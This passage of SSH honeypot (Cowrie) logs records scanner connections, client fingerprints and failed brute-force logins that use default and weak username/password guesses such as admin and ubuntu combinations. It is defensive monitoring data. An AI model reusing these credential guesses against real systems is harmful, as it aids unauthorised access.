tr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:12.847251Z","src_ip":"159.203.92.129","session":"c8ae05ceedbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI-T1","password":"123456","message":"login attempt [AI-T1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:12.863612Z","src_ip":"159.203.92.129","session":"c8ae05ceedbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17460,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9f7d398ad9","protocol":"ssh","message":"New connection: 194.59.206.2:17460 (10.17.0.5:22) [session: 9f9f7d398ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:13.504460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:13.510159Z","src_ip":"194.59.206.2","session":"9f9f7d398ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:13.665754Z","src_ip":"194.59.206.2","session":"9f9f7d398ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:13.803294Z","src_ip":"194.59.206.2","session":"9f9f7d398ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:13.871658Z","src_ip":"159.203.92.129","session":"c8ae05ceedbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58036,"dst_ip":"159.203.135.109","dst_port":22,"session":"933f945688ab","protocol":"ssh","message":"New connection: 80.94.92.186:58036 (159.203.135.109:22) [session: 933f945688ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:19.793892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:19.848835Z","src_ip":"80.94.92.186","session":"933f945688ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:20.059638Z","src_ip":"80.94.92.186","session":"933f945688ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:20.737584Z","src_ip":"80.94.92.186","session":"933f945688ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:21.881434Z","src_ip":"80.94.92.186","session":"933f945688ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":45925,"dst_ip":"159.203.135.109","dst_port":22,"session":"797643b6ea3d","protocol":"ssh","message":"New connection: 2.57.121.112:45925 (159.203.135.109:22) [session: 797643b6ea3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:33.719543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:33.728058Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:33.823701Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20061975","message":"login attempt [admin/20061975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:34.277877Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200580","message":"login attempt [admin/200580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:35.377218Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200493","message":"login attempt [admin/200493] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:36.476380Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200486","message":"login attempt [admin/200486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:37.574567Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200475","message":"login attempt [admin/200475] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:38.673956Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:39.772951Z","src_ip":"2.57.121.112","session":"797643b6ea3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":58262,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f520273e7b","protocol":"ssh","message":"New connection: 103.228.69.212:58262 (159.203.135.109:22) [session: d5f520273e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.196123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.205209Z","src_ip":"103.228.69.212","session":"d5f520273e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.439880Z","src_ip":"103.228.69.212","session":"d5f520273e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37592,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba7eb174195","protocol":"ssh","message":"New connection: 159.203.92.129:37592 (159.203.135.109:22) [session: 0ba7eb174195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.743540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.748675Z","src_ip":"159.203.92.129","session":"0ba7eb174195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.753224Z","src_ip":"159.203.92.129","session":"0ba7eb174195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI-T1","password":"AI-T1","message":"login attempt [AI-T1/AI-T1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:55.807262Z","src_ip":"159.203.92.129","session":"0ba7eb174195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"Welcome","message":"login attempt [guest/Welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:56.403922Z","src_ip":"103.228.69.212","session":"d5f520273e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:56.814470Z","src_ip":"159.203.92.129","session":"0ba7eb174195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:57.642562Z","src_ip":"103.228.69.212","session":"d5f520273e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2de9e9c83d8","protocol":"ssh","message":"New connection: 37.143.61.84:34810 (159.203.135.109:22) [session: d2de9e9c83d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:05.692070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:05.705138Z","src_ip":"37.143.61.84","session":"d2de9e9c83d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:05.893282Z","src_ip":"37.143.61.84","session":"d2de9e9c83d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"88888888","message":"login attempt [ubuntu/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:08.091484Z","src_ip":"37.143.61.84","session":"d2de9e9c83d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":48648,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ceef9c1d74d","protocol":"ssh","message":"New connection: 79.116.23.158:48648 (10.17.0.5:22) [session: 8ceef9c1d74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:09.214587Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:09.488183Z","src_ip":"37.143.61.84","session":"d2de9e9c83d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:10.035640Z","src_ip":"79.116.23.158","session":"8ceef9c1d74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:10.141531Z","src_ip":"79.116.23.158","session":"8ceef9c1d74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guestguest","message":"login attempt [guest/guestguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:10.622545Z","src_ip":"79.116.23.158","session":"8ceef9c1d74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:11.733909Z","src_ip":"79.116.23.158","session":"8ceef9c1d74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58120,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8ad8bd3b02a","protocol":"ssh","message":"New connection: 159.203.92.129:58120 (159.203.135.109:22) [session: e8ad8bd3b02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:39.060290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:39.064409Z","src_ip":"159.203.92.129","session":"e8ad8bd3b02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v0